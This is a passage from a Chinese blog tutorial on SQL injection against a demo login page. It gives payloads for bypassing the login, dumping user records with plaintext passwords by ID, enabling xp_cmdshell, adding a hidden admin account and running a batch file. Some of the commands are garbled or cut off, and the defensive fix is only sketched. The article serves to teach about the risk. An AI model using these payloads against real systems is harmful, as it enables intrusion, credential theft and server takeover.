HTML5技术

浅谈SQL注入风险 - 一个Login拿下Server - 张董(3)

字号+ 作者:H5之家 来源:H5之家 2015-10-31 18:05 我要评论( )

1 * { transition : all 0.3s ;} 2 body { margin : 0px ; padding : 0px ; background-color : #F8F8F8 ;} 3 .box-max { width : 500px ; margin : 100px auto ; border : 1px solid #CCC ; padding : 10px ; bord

1 *{transition:all 0.3s;} 2 body{margin:0px; padding:0px; background-color:#F8F8F8;} 3 .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;} 4 .box-max table{width:100%;} 5 .box-max table tr{line-height:40px;} 6 .box-max table th{text-align:right;} 7 .box-max table td input{width:100%;} 8 .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;} 9 .box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}

home.login.css

 

9. 运行结果:

 

 

 

 

 

三、注入 1. 废话不多说、直接测试注入。

  账号: ' or 1=1 -- ,密码(随意): fuck ,结果如下:

 

  你还在认为注入只是为了绕过登录进入网站么?

  那你就错了。

 

 

  竟然返回的是一个包含整个用户信息的Json?!

 

  这也是一个程序设计的严重不当!

  不知道大家前阵子还记得某酒店、某招聘网站,就是因为移动App,被人抓包,截取到了一个request,提交id,则会返回其所有基本信息。

  最后导致千万级数据泄露。

 

  也就是类似于下面这样操作:

 

2. 获取所有用户信息:

  这里需要主键字段,我就不注入检测了,假设我们已经测出了主键为ID。

  那么我们可以登录这样写(密码随意):

  账号: ' or (1=1 and Id=1) -- ,返回结果: {"Id":1,"Username":"admin","Password":"admin1234"} ;

  账号: ' or (1=1 and Id=2) -- ,返回结果: {"Id":2,"Username":"zhangsan","Password":"666666"} ;

  账号: ' or (1=1 and Id=3) -- ,返回结果: {"Id":3,"Username":"lisi","Password":"888888"} 

 

  如果我们写一个程序,循环发送这个请求,将获得的数据保存,那么你的用户数据裤子是不是也要被脱得干干净净了?

 

3. 下一步,经典的开启xp_cmdshell(看不懂的自行Google):

  账号: show advanced optionsxp_cmdshell',1; reconfigure; -- 

  后面操作的结果就不用看了,也是返回前面登录用户的Json,但是已经成功执行后面的代码了。

 

  然后,xp_cmdshell已经获取了,你还想干什么不行?

 

  这里我只做一个概念性的测试,演示一下其危害。

  根据项目的不同,注入可能还会导致更严重的后果。

 

  当然,你也可以创建文件,添加任务等,例如这样:

    添加隐藏账号,并提升管理员组:

    账号填写:  

    

    修改权限/修改所有者:

    账号填写: icacls D:\a.bat  

 

    执行:

    账号填写: D: & D:\a.bat' -- 

  

  结果:

  

 

  好吧,上面DOS你懂得。

 

  当然,你还可以通过DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。

 

 

 

 

 

四、如何避免

这个应该很简单吧,其实就是我们日常编码习惯的问题。

 

登录SQL可以改成通过SqlParameter传参的方式,返回结果可以设置返回bool来标识成功/失败,修改后的方法如下:

 

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 车大棒浅谈jQuery源码(二) - 车大棒

    车大棒浅谈jQuery源码(二) - 车大棒

    2017-04-02 10:07

  • 车大棒浅谈jQuery源码(一) - 车大棒

    车大棒浅谈jQuery源码(一) - 车大棒

    2017-03-27 09:00

  • 车大棒浅谈for循环+canvas实现黑客帝国矩形阵 - 车大棒

    车大棒浅谈for循环+canvas实现黑客帝国矩形阵 - 车大棒

    2017-01-18 15:01

  • 浅谈微信小程序对于创业者,意味着什么? - 腾讯攻城师lee

    浅谈微信小程序对于创业者,意味着什么? - 腾讯攻城师lee

    2016-12-17 12:00

网友点评
-